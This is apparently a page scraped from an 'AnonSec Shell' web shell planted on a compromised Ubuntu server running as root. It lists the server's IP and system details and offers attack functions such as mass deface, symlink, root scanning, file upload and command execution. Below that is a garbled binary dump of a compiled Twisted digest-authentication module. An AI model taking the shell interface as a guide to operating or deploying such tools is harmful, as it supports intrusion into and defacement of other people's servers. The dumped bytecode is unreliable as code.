AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/cred/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/cred/__pycache__/_digest.cpython-310.pyc
o

�b��@sLdZddlmZddlmZmZeeed�Z	ddd�Zdd	�Zd
d�Z	dS)
z^
Calculations for HTTP Digest authentication.

@see: U{http://www.faqs.org/rfcs/rfc2617.html}
�)�hexlify)�md5�sha1)smd5�md5-sesssshaNc	Cs�|r|s|s|rtd��|dur5t|�}|�|�|�d�|�|�|�d�|�|�t|���}n|}|dkr_t|�}|�|�|�d�|�|�|�d�|�|�t|���}|S)a:
    Compute H(A1) from RFC 2617.

    @param pszAlg: The name of the algorithm to use to calculate the digest.
        Currently supported are md5, md5-sess, and sha.
    @param pszUserName: The username
    @param pszRealm: The realm
    @param pszPassword: The password
    @param pszNonce: The nonce
    @param pszCNonce: The cnonce

    @param preHA1: If available this is a str containing a previously
       calculated H(A1) as a hex string.  If this is given then the values for
       pszUserName, pszRealm, and pszPassword must be L{None} and are ignored.
    zPpreHA1 is incompatible with the pszUserName, pszRealm, and pszPassword argumentsN�:r)�	TypeError�
algorithms�updater�digest)	�pszAlg�pszUserName�pszRealm�pszPassword�pszNonce�	pszCNonce�preHA1�m�HA1�r�6/usr/lib/python3/dist-packages/twisted/cred/_digest.py�calcHA1!s,�











rcCsPt|�}|�|�|�d�|�|�|dkr"|�d�|�|�t|���S)a�
    Compute H(A2) from RFC 2617.

    @param algo: The name of the algorithm to use to calculate the digest.
        Currently supported are md5, md5-sess, and sha.
    @param pszMethod: The request method.
    @param pszDigestUri: The request URI.
    @param pszQop: The Quality-of-Protection value.
    @param pszHEntity: The hash of the entity body or L{None} if C{pszQop} is
        not C{'auth-int'}.
    @return: The hash of the A2 value for the calculation of the response
        digest.
    rsauth-int�rr	rr
)�algo�	pszMethod�pszDigestUri�pszQop�
pszHEntityrrrr�calcHA2Ss





rc	Cs�t|�}|�|�|�d�|�|�|�d�|r;|r;|�|�|�d�|�|�|�d�|�|�|�d�|�|�t|���}|S)a�
    Compute the digest for the given parameters.

    @param HA1: The H(A1) value, as computed by L{calcHA1}.
    @param HA2: The H(A2) value, as computed by L{calcHA2}.
    @param pszNonce: The challenge nonce.
    @param pszNonceCount: The (client) nonce count value for this response.
    @param pszCNonce: The client nonce.
    @param pszQop: The Quality-of-Protection value.
    rr)	r�HA2rr�
pszNonceCountrrr�respHashrrr�calcResponseks











r!)N)
�__doc__�binasciir�hashlibrrrrrr!rrrr�<module>s�
�2

Anon7 - 2022
AnonSec Team